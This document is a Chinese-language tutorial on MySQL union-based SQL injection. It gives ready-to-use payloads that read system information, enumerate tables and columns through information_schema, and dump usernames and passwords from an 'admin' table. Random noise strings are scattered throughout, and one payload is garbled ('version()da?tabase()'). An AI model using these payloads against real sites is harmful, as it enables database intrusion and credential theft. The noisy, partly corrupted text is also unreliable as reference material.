mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法

学习盲注前先了解下 IFORMATION_SCHEMA 库

$ p; Z$ D. P& W' UMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
' Z4 o1 k3 B7 F6 A" \; L|---字段：SCHEMA_NAME ->数据库名称

9 u. `( `8 r" {$ R- O6 w& e|TABLES ->存储表名
6 Y( [8 ~: H: x, H|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
|---字段：TABLE_NAME ->存储表的表名

|COLUMNS ->存储的字段名表
|---字段：TABLE_SCHEMA ->该字段所属数据库名
/ T  g3 |4 O8 s6 k  h! b% j|---字段：TABLE_NAME ->存储所属表的名称
5 V- K" ~. \. q8 A) U
, m3 B" m3 ?- `! ?" E+ e, L5 u|---字段：COLUMN_NAME ->该字段的名称
4 @, B5 s" o$ J+ t


###########################################################################

7 {6 O8 {; T, j! F$ a) |6 H0x001 获取系统信息:
6 Z1 n" y9 m7 ~) n6 x' p" A) L
3 X$ V. o. z) I6 ounion select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

7 v, f$ c* R& r6 Z/*
: |1 I: t3 n: d0 I# ?2 @; [6 g
4 Z1 X9 g: {4 E, a@@global.version_compile_os 获取系统版本

@@datadir 数据库路径
database() 当前数据库名称
0x3c62723e 换行HEX值
! Z& o/ d; u: w) {* J
$ p( E, Y1 W' S4 y8 V& R3 L; w*/
8 s3 ]! H) G' P0 W


# ~# ?) y, L1 I- M- w  L- A######################################################################
8 i0 I; }7 E, O$ V0 C  E
0x002 获取表名

) l0 k* ^# R" Iunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*

( Q% K9 b8 p6 L3 X; F0 g1 I; d3 h2 }5 a

/*

% k" Y) X- I$ a# x: w: U! Z0x67617264656e 为当前数据库名

2 Y/ b* p. B" w( mgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名
3 v- k' L1 F0 w; U
*/
+ h7 U; ~8 [5 y( C9 ~0 T. U7 j  Y
' r4 V! y- f, k, r######################################################################
0 ~! Q) M" U* n* a2 u8 j
  @* I1 c! |/ t3 D
, M6 E) s% K( a! D1 S9 s: y
- h* J: p9 z6 W0x003 获取字段
; ]  U$ E+ p) g8 d% t. q# E
. L: t. {) o( G; i+ P. Aunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
- J3 ?; U/ j$ @" Z% c" j# S
0 D5 m4 i* v- ?, R2 o! W, r' n/ v5 W; d/*
9 g2 }3 P: ~3 ~: p' I. H! l
' ?6 n, h9 r9 g. h- cgroup_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
( C/ |. i% x1 N0 C6 }6 A
9 v" s4 H) m3 n7 [) X0x61646d696e ->选择一个表

0x67617264656e ->数据库名
7 V/ ]$ Z$ W. |/ Z
*/

, y( k3 i' {3 M- ?$ |#####################################################################



4 M1 ?, D- f/ |4 p" Q/ E9 t0x004 获取数据

& W4 L3 J4 X* ?( l& K$ }union select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
5 }1 o/ W0 ]8 B' J% G( Q( T
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin

0 ~# I7 B! B2 ]) P( J4 f
; W! F/ V# d0 S* j# A
8 Z; @' [5 @5 ]& `( J8 B/*

' ^% e( L! ]' k2 o: e! u7 E) l0x3c62723e 换行符号HEX编码
; L+ R. y/ x& Q& g9 `' j  B/ H
group_concat 同时获得该字段所有数据

& D, h! z  W4 {/ t*/
! U' @8 g/ V0 |; [2 n
- x% c) u5 y5 u! ^% ~  F* y